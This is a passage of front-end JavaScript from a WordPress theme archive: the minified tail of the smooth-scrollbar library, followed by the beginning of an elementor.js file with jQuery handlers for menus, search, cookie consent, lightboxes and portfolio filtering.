C(t){f(t)(window,"resize",x(t.update.bind(t),300))}function N(t){var e,n=f(t),r=t.containerEl,o=t.contentEl,i=!1,u=!1;n(window,"mousemove",(function(n){i&&(cancelAnimationFrame(e),function n(r){var o=r.x,i=r.y;if(o||i){var u=t.offset,c=t.limit;t.setMomentum(g(u.x+o,0,c.x)-u.x,g(u.y+i,0,c.y)-u.y),e=requestAnimationFrame((function(){n({x:o,y:i})}))}}(function(t,e){var n=t.bounding,r=n.top,o=n.right,i=n.bottom,u=n.left,c=l(e),a=c.x,s=c.y,f={x:0,y:0};return 0===a&&0===s||(a>o-20?f.x=a-o+20:a<u+20&&(f.x=a-u-20),s>i-20?f.y=s-i+20:s<r+20&&(f.y=s-r-20),f.x*=2,f.y*=2),f}(t,n)))})),n(o,"contextmenu",(function(){u=!0,cancelAnimationFrame(e),i=!1})),n(o,"mousedown",(function(){u=!1})),n(o,"selectstart",(function(){u||(cancelAnimationFrame(e),i=!0)})),n(window,"mouseup blur",(function(){cancelAnimationFrame(e),i=!1,u=!1})),n(r,"scroll",(function(t){t.preventDefault(),r.scrollTop=r.scrollLeft=0}))}function F(t){var e,n=t.options.delegateTo||t.containerEl,r=new m,o=f(t),i=0;o(n,"touchstart",(function(n){r.track(n),t.setMomentum(0,0),0===i&&(e=t.options.damping,t.options.damping=Math.max(e,.5)),i++})),o(n,"touchmove",(function(e){if(!D||D===t){r.update(e);var n=r.getDelta(),o=n.x,i=n.y;t.addTransformableMomentum(o,i,e,(function(n){n&&e.cancelable&&(e.preventDefault(),D=t)}))}})),o(n,"touchcancel touchend",(function(n){var o=r.getEasingDistance(e);t.addTransformableMomentum(o.x,o.y,n),0==--i&&(t.options.damping=e),r.release(n),D=null}))}function H(t){f(t)(t.options.delegateTo||t.containerEl,"onwheel"in window||document.implementation.hasFeature("Events.wheel","3.0")?"wheel":"mousewheel",(function(e){var n=function(t){if("deltaX"in t){var e=G(t.deltaMode);return{x:t.deltaX/W.STANDARD*e,y:t.deltaY/W.STANDARD*e}}return"wheelDeltaX"in t?{x:t.wheelDeltaX/W.OTHERS,y:t.wheelDeltaY/W.OTHERS}:{x:0,y:t.wheelDelta/W.OTHERS}}(e),r=n.x,o=n.y;t.addTransformableMomentum(r,o,e,(function(t){t&&e.preventDefault()}))}))}!function(t){t[t.TAB=9]="TAB",t[t.SPACE=32]="SPACE",t[t.PAGE_UP=33]="PAGE_UP",t[t.PAGE_DOWN=34]="PAGE_DOWN",t[t.END=35]="END",t[t.HOME=36]="HOME",t[t.LEFT=37]="LEFT",t[t.UP=38]="UP",t[t.RIGHT=39]="RIGHT",t[t.DOWN=40]="DOWN"}(M||(M={})),function(t){t[t.X=0]="X",t[t.Y=1]="Y"}(k||(k={}));var W={STANDARD:1,OTHERS:-3},B=[1,28,500],G=function(t){return B[t]||B[0]},X=new Map,U=function(){function t(t,e){var n=this;this.offset={x:0,y:0},this.limit={x:1/0,y:1/0},this.bounding={top:0,right:0,bottom:0,left:0},this._plugins=[],this._momentum={x:0,y:0},this._listeners=new Set,this.containerEl=t;var r=this.contentEl=document.createElement("div");this.options=new E(e),t.setAttribute("data-scrollbar","true"),t.setAttribute("tabindex","-1"),v(t,{overflow:"hidden",outline:"none"}),window.navigator.msPointerEnabled&&(t.style.msTouchAction="none"),r.className="scroll-content",Array.from(t.childNodes).forEach((function(t){r.appendChild(t)})),t.appendChild(r),this.track=new A(this),this.size=this.getSize(),this._plugins=function(t,e){return Array.from(L.order).filter((function(t){return!1!==e[t]})).map((function(n){var r=new(0,L.constructors[n])(t,e[n]);return e[n]=r.options,r}))}(this,this.options.plugins);var o=t.scrollLeft,i=t.scrollTop;t.scrollLeft=t.scrollTop=0,this.setPosition(o,i,{withoutCallbacks:!0});var u=window.ResizeObserver;"function"==typeof u&&(this._observer=new u((function(){n.update()})),this._observer.observe(r)),X.set(t,this),requestAnimationFrame((function(){n._init()}))}return Object.defineProperty(t.prototype,"parent",{get:function(){for(var t=this.containerEl.parentElement;t;){var e=X.get(t);if(e)return e;t=t.parentElement}return null},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"scrollTop",{get:function(){return this.offset.y},set:function(t){this.setPosition(this.scrollLeft,t)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"scrollLeft",{get:function(){return this.offset.x},set:function(t){this.setPosition(t,this.scrollTop)},enumerable:!0,configurable:!0}),t.prototype.getSize=function(){return function(t){var e=t.containerEl,n=t.contentEl,r=getComputedStyle(e),o=["paddingTop","paddingBottom","paddingLeft","paddingRight"].map((function(t){return r[t]?parseFloat(r[t]):0})),i=o[0]+o[1],u=o[2]+o[3];return{container:{width:e.clientWidth,height:e.clientHeight},content:{width:n.offsetWidth-n.clientWidth+n.scrollWidth+u,height:n.offsetHeight-n.clientHeight+n.scrollHeight+i}}}(this)},t.prototype.update=function(){!function(t){var e=t.getSize(),n={x:Math.max(e.content.width-e.container.width,0),y:Math.max(e.content.height-e.container.height,0)},r=t.containerEl.getBoundingClientRect(),o={top:Math.max(r.top,0),right:Math.min(r.right,window.innerWidth),bottom:Math.min(r.bottom,window.innerHeight),left:Math.max(r.left,0)};t.size=e,t.limit=n,t.bounding=o,t.track.update(),t.setPosition()}(this),this._plugins.forEach((function(t){t.onUpdate()}))},t.prototype.isVisible=function(t){return function(t,e){var n=t.bounding,r=e.getBoundingClientRect(),o=Math.max(n.top,r.top),i=Math.max(n.left,r.left),u=Math.min(n.right,r.right);return o<Math.min(n.bottom,r.bottom)&&i<u}(this,t)},t.prototype.setPosition=function(t,e,n){var r=this;void 0===t&&(t=this.offset.x),void 0===e&&(e=this.offset.y),void 0===n&&(n={});var o=function(t,e,n){var r=t.options,o=t.offset,u=t.limit,c=t.track,a=t.contentEl;return r.renderByPixels&&(e=Math.round(e),n=Math.round(n)),e=g(e,0,u.x),n=g(n,0,u.y),e!==o.x&&c.xAxis.show(),n!==o.y&&c.yAxis.show(),r.alwaysShowTracks||c.autoHideOnIdle(),e===o.x&&n===o.y?null:(o.x=e,o.y=n,v(a,{"-transform":"translate3d("+-e+"px, "+-n+"px, 0)"}),c.update(),{offset:i({},o),limit:i({},u)})}(this,t,e);o&&!n.withoutCallbacks&&this._listeners.forEach((function(t){t.call(r,o)}))},t.prototype.scrollTo=function(t,e,n,r){void 0===t&&(t=this.offset.x),void 0===e&&(e=this.offset.y),void 0===n&&(n=0),void 0===r&&(r={}),function(t,e,n,r,o){void 0===r&&(r=0);var i=void 0===o?{}:o,u=i.easing,c=void 0===u?j:u,a=i.callback,s=t.options,f=t.offset,l=t.limit;s.renderByPixels&&(e=Math.round(e),n=Math.round(n));var p=f.x,h=f.y,d=g(e,0,l.x)-p,v=g(n,0,l.y)-h,y=Date.now();cancelAnimationFrame(P.get(t)),function e(){var n=Date.now()-y,o=r?c(Math.min(n/r,1)):1;if(t.setPosition(p+d*o,h+v*o),n>=r)"function"==typeof a&&a.call(t);else{var i=requestAnimationFrame(e);P.set(t,i)}}()}(this,t,e,n,r)},t.prototype.scrollIntoView=function(t,e){void 0===e&&(e={}),function(t,e,n){var r=void 0===n?{}:n,o=r.alignToTop,i=void 0===o||o,u=r.onlyScrollIfNeeded,c=void 0!==u&&u,a=r.offsetTop,s=void 0===a?0:a,f=r.offsetLeft,l=void 0===f?0:f,p=r.offsetBottom,h=void 0===p?0:p,d=t.containerEl,v=t.bounding,y=t.offset,m=t.limit;if(e&&d.contains(e)){var x=e.getBoundingClientRect();if(!c||!t.isVisible(e)){var b=i?x.top-v.top-s:x.bottom-v.bottom+h;t.setMomentum(x.left-v.left-l,g(b,-y.y,m.y-y.y))}}}(this,t,e)},t.prototype.addListener=function(t){if("function"!=typeof t)throw new TypeError("[smooth-scrollbar] scrolling listener should be a function");this._listeners.add(t)},t.prototype.removeListener=function(t){this._listeners.delete(t)},t.prototype.addTransformableMomentum=function(t,e,n,r){this._updateDebounced();var o=this._plugins.reduce((function(t,e){return e.transformDelta(t,n)||t}),{x:t,y:e}),i=!this._shouldPropagateMomentum(o.x,o.y);i&&this.addMomentum(o.x,o.y),r&&r.call(this,i)},t.prototype.addMomentum=function(t,e){this.setMomentum(this._momentum.x+t,this._momentum.y+e)},t.prototype.setMomentum=function(t,e){0===this.limit.x&&(t=0),0===this.limit.y&&(e=0),this.options.renderByPixels&&(t=Math.round(t),e=Math.round(e)),this._momentum.x=t,this._momentum.y=e},t.prototype.updatePluginOptions=function(t,e){this._plugins.forEach((function(n){n.name===t&&Object.assign(n.options,e)}))},t.prototype.destroy=function(){var t=this.containerEl,e=this.contentEl;!function(t){var e=a.get(t);e&&(e.forEach((function(t){var e=t.elem,n=t.eventName,r=t.handler;e.removeEventListener(n,r,s())})),a.delete(t))}(this),this._listeners.clear(),this.setMomentum(0,0),cancelAnimationFrame(this._renderID),this._observer&&this._observer.disconnect(),X.delete(this.containerEl);for(var n=Array.from(e.childNodes);t.firstChild;)t.removeChild(t.firstChild);n.forEach((function(e){t.appendChild(e)})),v(t,{overflow:""}),t.scrollTop=this.scrollTop,t.scrollLeft=this.scrollLeft,this._plugins.forEach((function(t){t.onDestroy()})),this._plugins.length=0},t.prototype._init=function(){var t=this;this.update(),Object.keys(r).forEach((function(e){r[e](t)})),this._plugins.forEach((function(t){t.onInit()})),this._render()},t.prototype._updateDebounced=function(){this.update()},t.prototype._shouldPropagateMomentum=function(t,e){void 0===t&&(t=0),void 0===e&&(e=0);var n=this.options,r=this.offset,o=this.limit;if(!n.continuousScrolling)return!1;0===o.x&&0===o.y&&this._updateDebounced();var i=g(t+r.x,0,o.x),u=g(e+r.y,0,o.y),c=!0;return(c=(c=c&&i===r.x)&&u===r.y)&&(r.x===o.x||0===r.x||r.y===o.y||0===r.y)},t.prototype._render=function(){var t=this._momentum;if(t.x||t.y){var e=this._nextTick("x"),n=this._nextTick("y");t.x=e.momentum,t.y=n.momentum,this.setPosition(e.position,n.position)}var r=i({},this._momentum);this._plugins.forEach((function(t){t.onRender(r)})),this._renderID=requestAnimationFrame(this._render.bind(this))},t.prototype._nextTick=function(t){var e=this.options,n=this.offset,r=this._momentum,o=n[t],i=r[t];if(Math.abs(i)<=.1)return{momentum:0,position:o+i};var u=i*(1-e.damping);return e.renderByPixels&&(u|=0),{momentum:u,position:o+i-u}},u([S(100,!0)],t.prototype,"_updateDebounced",null),t}(),V="smooth-scrollbar-style",Y=!1;function q(){if(!Y&&"undefined"!=typeof window){var t=document.createElement("style");t.id=V,t.textContent="\n[data-scrollbar] {\n  display: block;\n  position: relative;\n}\n\n.scroll-content {\n  display: flow-root;\n  -webkit-transform: translate3d(0, 0, 0);\n          transform: translate3d(0, 0, 0);\n}\n\n.scrollbar-track {\n  position: absolute;\n  opacity: 0;\n  z-index: 1;\n  background: rgba(222, 222, 222, .75);\n  -webkit-user-select: none;\n     -moz-user-select: none;\n      -ms-user-select: none;\n          user-select: none;\n  -webkit-transition: opacity 0.5s 0.5s ease-out;\n          transition: opacity 0.5s 0.5s ease-out;\n}\n.scrollbar-track.show,\n.scrollbar-track:hover {\n  opacity: 1;\n  -webkit-transition-delay: 0s;\n          transition-delay: 0s;\n}\n\n.scrollbar-track-x {\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 8px;\n}\n.scrollbar-track-y {\n  top: 0;\n  right: 0;\n  width: 8px;\n  height: 100%;\n}\n.scrollbar-thumb {\n  position: absolute;\n  top: 0;\n  left: 0;\n  width: 8px;\n  height: 8px;\n  background: rgba(0, 0, 0, .5);\n  border-radius: 4px;\n}\n",document.head&&document.head.appendChild(t),Y=!0}}n.d(e,"ScrollbarPlugin",(function(){return z}));var Q=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return function(t,e){function n(){this.constructor=t}o(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}(e,t),e.init=function(t,e){if(!t||1!==t.nodeType)throw new TypeError("expect element to be DOM Element, but got "+t);return q(),X.has(t)?X.get(t):new U(t,e)},e.initAll=function(t){return Array.from(document.querySelectorAll("[data-scrollbar]"),(function(n){return e.init(n,t)}))},e.has=function(t){return X.has(t)},e.get=function(t){return X.get(t)},e.getAll=function(){return Array.from(X.values())},e.destroy=function(t){var e=X.get(t);e&&e.destroy()},e.destroyAll=function(){X.forEach((function(t){t.destroy()}))},e.use=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];t.forEach((function(t){var e=t.pluginName;if(!e)throw new TypeError("plugin name is required");L.order.add(e),L.constructors[e]=t}))}.apply(void 0,t)},e.attachStyle=function(){return q()},e.detachStyle=function(){return function(){if(Y&&"undefined"!=typeof window){var t=document.getElementById(V);t&&t.parentNode&&(t.parentNode.removeChild(t),Y=!1)}}()},e.version="8.8.4",e.ScrollbarPlugin=z,e}(U);e.default=Q}]).default}));

const isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);
const mw = window.innerWidth;

if ( ! isMobile || mw > 961 ) {
    var Scrollbar = window.Scrollbar;
    Scrollbar.init(document.querySelector('#soledad_wrapper'));
}PK     N\b      js/elementor.jsnu [        /* global PENCILOCALIZE */

(function ($) {
    "use strict";
    var ELPENCI = ELPENCI || {};

    /* General functions
     ---------------------------------------------------------------*/
    ELPENCI.general = function () {
        // Top search
        $('.pcheader-icon a.search-click').on('click', function (e) {
            var $this = $(this),
                $closet = $this.closest('.wrapper-boxed'),
                $pbcloset = $this.closest('.penci_nav_col');
            if ($closet.hasClass('header-search-style-showup')) {
                $this.next().toggleClass('active');
            } else {
                $this.next().fadeToggle();
            }
            var opentimeout = setTimeout(function () {
                $closet.find('.search-input').focus();
                if ($pbcloset.length) {
                    $pbcloset.find('.search-input').focus();
                }
            }, 200, function () {
                clearTimeout(opentimeout);
            });
            e.stopPropagation();
            return false;
        });

        $('.pcheader-icon .close-search').off().on('click', function (e) {
            $(this).closest('.show-search').fadeToggle();
            return false;
        });

        // Go to top
        $('.go-to-top, .penci-go-to-top-floating').on('click', function () {
            $('html, body').animate({scrollTop: 0}, 700);
            return false;
        });

        // Go to top button
        var $goto_button = $('.penci-go-to-top-floating');
        if ($goto_button.length) {
            $(document).on('scroll', function () {
                var y = $(this).scrollTop();
                if (y > 300) {
                    $goto_button.addClass('show-up');
                } else {
                    $goto_button.removeClass('show-up');
                }
            });
        }

        $(".penci-jump-recipe").on('click', function (e) {
            e.preventDefault();
            var id = $(this).attr("href"),
                $scroll_top = $(id).offset().top,
                $nav_height = 30;
            if ($('#navigation').length) {
                $nav_height = $('#navigation').height() + 30;
                if ($("body").hasClass('admin-bar')) {
                    $nav_height = $('#navigation').height() + 62;
                }
            }
            var $scroll_to = $scroll_top - $nav_height;
            $('html,body').animate({
                scrollTop: $scroll_to
            }, 'fast');
        });

        // Call back fitvid when click load more button on buddypress
        $('body.buddypress .activity .load-more a').on('click', function () {
            $(document).ajaxStop(function () {
                $(".container").fitVids();
            });
        });
    }

    /* Cookie Law
     ---------------------------------------------------------------*/
    ELPENCI.cookie = function () {
        var wrapCookie = '.penci-wrap-gprd-law',
            $wrapCookie = $(wrapCookie),
            classAction = 'penci-wrap-gprd-law-close',
            penciCookieName = 'penci_law_footer_new';

        if (!$wrapCookie.length) {
            return false;
        }

        var penciCookie = {
            set: function (name, value) {
                var date = new Date();
                date.setTime(date.getTime() + (31536000000));
                var expires = "; expires=" + date.toGMTString();
                document.cookie = name + "=" + value + expires + "; path=/";
            },
            read: function (name) {
                var namePre = name + "=";
                var cookieSplit = document.cookie.split(';');
                for (var i = 0; i < cookieSplit.length; i++) {
                    var cookie = cookieSplit[i];
                    while (cookie.charAt(0) == ' ') {
                        cookie = cookie.substring(1, cookie.length);
                    }
                    if (cookie.indexOf(namePre) === 0) {
                        return cookie.substring(namePre.length, cookie.length);
                    }
                }
                return null;
            },
            erase: function (name) {
                this.set(name, "", -1);
            },
            exists: function (name) {
                return (
                    this.read(name) !== null
                );
            }
        };

        $wrapCookie.removeClass('penci-close-all');
        if (!penciCookie.exists(penciCookieName) || (penciCookie.exists(penciCookieName) && 1 == penciCookie.read(penciCookieName))) {
            $wrapCookie.removeClass(classAction);
        } else {
            $wrapCookie.addClass(classAction);
        }

        $('.penci-gprd-accept, .penci-gdrd-show').on('click', function (e) {
            e.preventDefault();

            var $this = $(this),
                $parent_law = $this.closest(wrapCookie);

            $parent_law.toggleClass(classAction);

            if ($parent_law.hasClass(classAction)) {
                penciCookie.set(penciCookieName, '2');
            } else {
                penciCookie.set(penciCookieName, '1');
            }

            return false;
        });
    }

    /* Fitvids
     ---------------------------------------------------------------*/
    ELPENCI.fitvids = function () {
        // Target your .container, .wrapper, .post, etc.
        $(".container").fitVids();
    }

    /* Sticky sidebar
     ----------------------------------------------------------------*/
    ELPENCI.sticky_sidebar = function () {
        if ($().theiaStickySidebar) {
            var top_margin = 90;
            if ($('body').hasClass('admin-bar') && $('body').hasClass('penci-vernav-enable')) {
                top_margin = 62;
            } else if (!$('body').hasClass('admin-bar') && $('body').hasClass('penci-vernav-enable')) {
                top_margin = 30;
            } else if ($('body').hasClass('admin-bar') && !$('body').hasClass('penci-vernav-enable')) {
                top_margin = 122;
            }

            if ($('.penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column').length) {
                $('.penci-vc-sticky-sidebar > .penci-vc-row > .penci-vc-column').theiaStickySidebar({
                    additionalMarginTop: top_margin,
                });
            }

            if ($('.penci-enSticky .penci-sticky-sb').length) {
                $('.penci-enSticky .penci-sticky-sb,.penci-enSticky .penci-sticky-ct').theiaStickySidebar({
                    additionalMarginTop: top_margin,
                });
            }
            $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                // settings
                additionalMarginTop: top_margin
            });
        } // if sticky
    }

    /* Mega menu
     ----------------------------------------------------------------*/
    ELPENCI.mega_menu = function () {
        // Hover parent
        $('#navigation ul.menu > li.penci-mega-menu').on('mouseenter', function () {
            var $this = $(this),
                $row_active = $this.find('.row-active'),
                $rowsLazy = $row_active.find('.penci-lazy');
            $row_active.fadeIn('200').css('display', 'inline-block');
            /*$rowsLazy.Lazy({
                effect: 'fadeIn',
                effectTime: 300,
                scrollDirection: 'both',
                visibleOnly : true
            });*/
            //lazySizes.init();
        });

        $('#navigation .penci-mega-child-categories a').on('mouseenter', function () {
            if (!$(this).hasClass('cat-active')) {
                var $this = $(this),
                    $row_active = $this.data('id'),
                    $parentA = $this.parent().children('a'),
                    $parent = $this.closest('.penci-megamenu'),
                    $rows = $this.closest('.penci-megamenu').find('.penci-mega-latest-posts').children('.penci-mega-row'),
                    $rowsLazy = $rows.find('.penci-lazy');
                $parentA.removeClass('cat-active');
                $this.addClass('cat-active');
                $rows.hide();
                $parent.find('.' + $row_active).fadeIn('300').css('display', 'inline-block');
                /*$rowsLazy.Lazy({
                    effect: 'fadeIn',
                    effectTime: 300,
                    scrollDirection: 'both',
                    visibleOnly : true
                });*/
                //lazySizes.init();
            }
        });
    }

    /* Mobile menu responsive
     ----------------------------------------------------------------*/
    ELPENCI.mobile_menu = function () {
        // Add indicator
        $('#sidebar-nav .menu li.menu-item-has-children > a').append('<u class="indicator"><i class="fa fa-angle-down"></i></u>');

        // Toggle menu when click show/hide menu
        $('#navigation .button-menu-mobile').on('click', function () {
            $('body').addClass('open-sidebar-nav');
            /*$( '#sidebar-nav .penci-lazy' ).Lazy({
                effect: 'fadeIn',
                effectTime: 300,
                scrollDirection: 'both'
            });*/
            //lazySizes.init();
        });

        // indicator click
        $('#sidebar-nav .menu li a .indicator').on('click', function (e) {
            if ($('body').hasClass('penci-vernav-cparent')) {
                return;
            }
            var $this = $(this);
            e.preventDefault();
            $this.children().toggleClass('fa-angle-up');
            $this.parent().next().slideToggle('fast');
        });

        $('.penci-vernav-cparent #sidebar-nav .menu li.menu-item-has-children > a').on('click', function (e) {
            var $this = $(this);
            e.preventDefault();
            $this.children().children().toggleClass('fa-angle-up');
            $this.next().slideToggle('fast');
        });

        // Close sidebar nav
        $('#close-sidebar-nav').on('click', function () {
            $('body').removeClass('open-sidebar-nav');
        });
    }

    ELPENCI.toggleMenuHumburger = function () {
        var $menuhumburger = $('.penci-menu-hbg');
        if ($menuhumburger.length) {
            var $body = $('body'),
                $button = $('.penci-vernav-toggle,.penci-menuhbg-toggle,#penci-close-hbg,.penci-menu-hbg-overlay'),
                sidebarClass = 'penci-menuhbg-open';

            // Add indicator
            $('.penci-menu-hbg .menu li.menu-item-has-children > a').append('<u class="indicator"><i class="fa fa-angle-down"></i></u>');

            // indicator click
            $('.penci-menu-hbg .menu li a .indicator').on('click', function (e) {
                if ($('body').hasClass('penci-hbg-cparent')) {
                    return;
                }
                var $this = $(this);
                e.preventDefault();
                $this.children().toggleClass('fa-angle-up');
                $this.parent().next().slideToggle('fast');
            });

            $('.penci-hbg-cparent .penci-menu-hbg .menu li.menu-item-has-children > a').on('click', function (e) {
                var $this = $(this);
                e.preventDefault();
                $this.children().children().toggleClass('fa-angle-up');
                $this.next().slideToggle('fast');
            });

            // Click to show mobile menu
            $button.on('click', function (e) {
                e.preventDefault();

                if ($body.hasClass(sidebarClass)) {
                    $body.removeClass(sidebarClass);
                    $button.removeClass('active');

                    return;
                }
                e.stopPropagation(); // Do not trigger click event on '.site' below
                $body.addClass(sidebarClass);
                $button.addClass('active');

                /*$('.penci-menu-hbg .penci-lazy').Lazy({
                    effect: 'fadeIn',
                    effectTime: 300,
                    scrollDirection: 'both'
                });*/
                //lazySizes.init();
            });

            // Scroll menu hamburger and callback lazyload
            $menuhumburger.on('scroll', function () {
                /*$('.penci-menu-hbg .penci-lazy').Lazy({
                    effect: 'fadeIn',
                    effectTime: 300,
                    scrollDirection: 'both'
                });*/
                //lazySizes.init();
            });
        }
    }

    /* Light box
     ----------------------------------------------------------------*/
    ELPENCI.lightbox = function () {
        if ($().magnificPopup) {
            $('a[data-rel^="penci-gallery-image-content"], .penci-enable-lightbox .gallery-item a').magnificPopup({
                type: 'image',
                closeOnContentClick: true,
                closeBtnInside: false,
                fixedContentPos: true,
                image: {
                    verticalFit: true,
                    titleSrc: 'data-cap'
                },
                gallery: {
                    enabled: true
                },
                zoom: {
                    enabled: true,
                    duration: 300
                }
            });

            $('a[data-rel^="penci-gallery-bground-content"]').magnificPopup({
                type: 'image',
                closeOnContentClick: true,
                closeBtnInside: false,
                fixedContentPos: true,
                image: {
                    verticalFit: true,
                },
                gallery: {
                    enabled: true
                }
            });


            // Enable lightbox videos
            $('.penci-other-layouts-lighbox').magnificPopup({
                type: 'iframe',
                mainClass: 'mfp-fade',
                fixedContentPos: true,
                closeBtnInside: false,
                closeOnContentClick: true
            });

            if ($('.penci-image-gallery').length) {
                $('.penci-image-gallery').each(function () {
                    var $this = $(this),
                        id = $this.attr('id');

                    $('#' + id + ' a').magnificPopup({
                        type: 'image',
                        closeOnContentClick: true,
                        closeBtnInside: false,
                        fixedContentPos: true,
                        image: {
                            verticalFit: true,
                            titleSrc: 'data-cap'
                        },
                        gallery: {
                            enabled: true
                        }
                    });
                });
            }

            if ($('.penci-post-gallery-container').length) {
                $('.penci-post-gallery-container').each(function () {
                    var $this = $(this),
                        id = $this.attr('id');

                    $('#' + id + ' a').magnificPopup({
                        type: 'image',
                        closeOnContentClick: true,
                        closeBtnInside: false,
                        fixedContentPos: true,
                        image: {
                            verticalFit: true,
                            titleSrc: 'data-cap'
                        },
                        gallery: {
                            enabled: true
                        }
                    });
                });
            }

        } // if magnificPopup exists
    }

    /* Masonry layout
     ----------------------------------------------------------------*/
    ELPENCI.masonry = function () {
        var $masonry_container = $('.penci-masonry, .penci-bgstyle-2 .penci-biggrid-data');
        if ($masonry_container.length) {
            $masonry_container.each(function () {
                var $this = $(this);
                $this.imagesLoaded(function () {
                    // initialize isotope
                    $this.isotope({
                        itemSelector: '.item-masonry',
                        transitionDuration: '.55s',
                        layoutMode: 'masonry'
                    });
                });
            });
        }
    }

    /* Video Background
     ----------------------------------------------------------------*/
    ELPENCI.video_background = function () {
        var $penci_videobg = $('#penci-featured-video-bg');
        if ($penci_videobg.length) {
            $($penci_videobg).each(function () {
                var $this = $(this),
                    $src = $this.data('videosrc'),
                    $startime = $this.data('starttime'),
                    $jarallaxArgs = {
                        videoSrc: $src,
                        videoStartTime: $startime,
                        videoPlayOnlyVisible: false
                    };

                jarallax($this, $jarallaxArgs);
                $('.featured-area').addClass('loaded-wait');
                setTimeout(function () {
                    $('.featured-area').addClass('loaded-animation');
                }, 1500);
            });
        }
    }

    /* Portfolio
     ----------------------------------------------------------------*/
    ELPENCI.portfolio = function () {
        var $penci_portfolio = $('.penci-portfolio');


        if ($().isotope && $penci_portfolio.length) {
            $('.penci-portfolio').each(function () {
                var $this = $(this),
                    unique_id = $(this).attr('id'),
                    DataFilter = null;

                if (typeof (portfolioDataJs) != "undefined" && portfolioDataJs !== null) {
                    for (var e in portfolioDataJs) {

                        if (portfolioDataJs[e].instanceId == unique_id) {
                            var DataFilter = portfolioDataJs[e];
                        }
                    }
                }

                $this.imagesLoaded(function () {
                    $this.isotope({
                        itemSelector: '.portfolio-item',
                        animationEngine: 'best-available',
                        animationOptions: {
                            duration: 250,
                            queue: false
                        }
                    }); // isotope

                    $this.addClass('loaded');

                    $('.portfolio-item .inner-item-portfolio').each(function () {
                        var $this = $(this);
                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                            $this.addClass('animated');
                        }); // inview
                    }); // each

                    var location = window.location.hash.toString();
                    if (location.length) {
                        location = location.replace('#', '');
                        location.match(/:/);
                        var Mlocation = location.match(/^([^:]+)/)[1];
                        location = location.replace(Mlocation + ":", "");

                        if (location.length > 1) {

                            var $termActive = $afilter.filter('[data-term="' + location + '"]'),
                                portfolioItem = $this.find('.portfolio-item'),
                                $buttonLoadMore = $this.parent().find('.penci-pagenavi-shortcode');

                            if ($termActive.length) {

                                liFilter.removeClass('active');
                                $termActive.parent().addClass('active');
                                $this.isotope({filter: '.penci-' + location});

                                var dataTerm = $termActive.data("term"),
                                    p = {};

                                DataFilter.currentTerm = dataTerm;
                                $.each(DataFilter.countByTerms, function (t, e) {
                                    p[t] = 0
                                });

                                portfolioItem.each(function (t, e) {
                                    $.each(($(e).data("terms") + "").split(" "), function (t, e) {
                                        p[e]++;
                                    })
                                });

                                var show_button = 'number' == typeof p[dataTerm] && p[dataTerm] == DataFilter.countByTerms[dataTerm];
                                if ($buttonLoadMore.length) {
                                    if (portfolioItem.length !== DataFilter.count && !show_button) {
                                        $buttonLoadMore.show();
                                    } else {
                                        $buttonLoadMore.hide();
                                    }
                                }
                            }
                        }
                    }
                }); // imagesloaded

                // Filter items when filter link is clicked
                var $filter = $this.parent().find('.penci-portfolio-filter'),
                    $afilter = $filter.find('a'),
                    liFilter = $filter.find('li');

                liFilter.on('click', function () {

                    var self = $(this),
                        term = self.find('a').data("term"),
                        selector = self.find("a").attr('data-filter'),
                        $e_dataTerm = $filter.find('a').filter('[data-term="' + term + '"]'),
                        portfolioItem = $this.find('.portfolio-item'),
                        $buttonLoadMore = $this.parent().find('.penci-pagenavi-shortcode'),
                        scrollTop = $(window).scrollTop();

                    liFilter.removeClass('active');
                    self.addClass('active');

                    $this.parent().find('.penci-ajax-more-button').attr('data-cat', term);

                    $this.isotope({filter: selector});

                    if ($e_dataTerm.length) {
                        window.location.hash = "*" == term ? "" : term;

                        $(window).scrollTop(scrollTop);
                    }

                    var p = {};
                    DataFilter.currentTerm = term;
                    $.each(DataFilter.countByTerms, function (t, e) {
                        p[t] = 0
                    });

                    portfolioItem.each(function (t, e) {
                        $.each(($(e).data("terms") + "").split(" "), function (t, e) {
                            p[e]++;
                        })
                    });

                    var show_button = 'number' == typeof p[term] && p[term] == DataFilter.countByTerms[term];
                    if ($buttonLoadMore.length) {
                        if (portfolioItem.length !== DataFilter.count && !show_button) {
                            $buttonLoadMore.show();
                        } else {
                            $buttonLoadMore.hide();
                        }
                    }

                    return false;
                });

                ELPENCI.portfolioLoadMore.loadMore($this, DataFilter);
                ELPENCI.portfolioLoadMore.infinityScroll(DataFilter);

            }); // each .penci-portfolio

        }	// end if isotope & portfolio


        var $btnLoadMore = $('.penci-plf-loadmore');
        if (!$().isotope || !$btnLoadMore.length) {
            return false;
        }
    }

    ELPENCI.portfolioLoadMore = {
        btnLoadMore: $('.penci-plf-loadmore'),
        loadMore: function ($pfl_wapper, DataFilter) {
            var self = this;
            $('body').on('click', '.penci-ajax-more-button', function (event) {
                self.actionLoadMore($(this), $pfl_wapper, DataFilter);
            });
        },
        infinityScroll: function (DataFilter) {
            var self = this,
                $handle = $('.penci-plf-loadmore'),
                $button_load = $handle.find('.penci-ajax-more-button');

            if ($handle.hasClass('penci-infinite-scroll')) {
                $(window).on('scroll', function () {

                    var hT = $button_load.offset().top,
                        hH = $button_load.outerHeight(),
                        wH = $(window).height(),
                        wS = $(this).scrollTop();

                    if ((wS > (hT + hH - wH)) && $button_load.length) {
                        var $pfl_wapper = $button_load.closest('.penci-portfolio');
                        self.actionLoadMore($button_load, $pfl_wapper, DataFilter);
                    }
                }).trigger('scroll');
            }
        },
        actionLoadMore: function ($button_load, $pfl_wapper, DataFilter) {
            if ($button_load.hasClass('loading-portfolios')) {
                return false;
            }

            $button_load.addClass('loading-portfolios');

            var mesNoMore = $button_load.data('mes_no_more'),
                mes = $button_load.data('mes');

            DataFilter.pflShowIds = [];

            $button_load.closest('.wrapper-penci-portfolio').find('.portfolio-item').each(function (t, e) {
                DataFilter.pflShowIds.push($(e).data('pflid'));
            });

            var data = {
                action: 'penci_pfl_more_post_ajax',
                datafilter: DataFilter,
                nonce: ajax_var_more.nonce
            };
            $.post(ajax_var_more.url, data, function (response) {
                if (!response.data.items) {
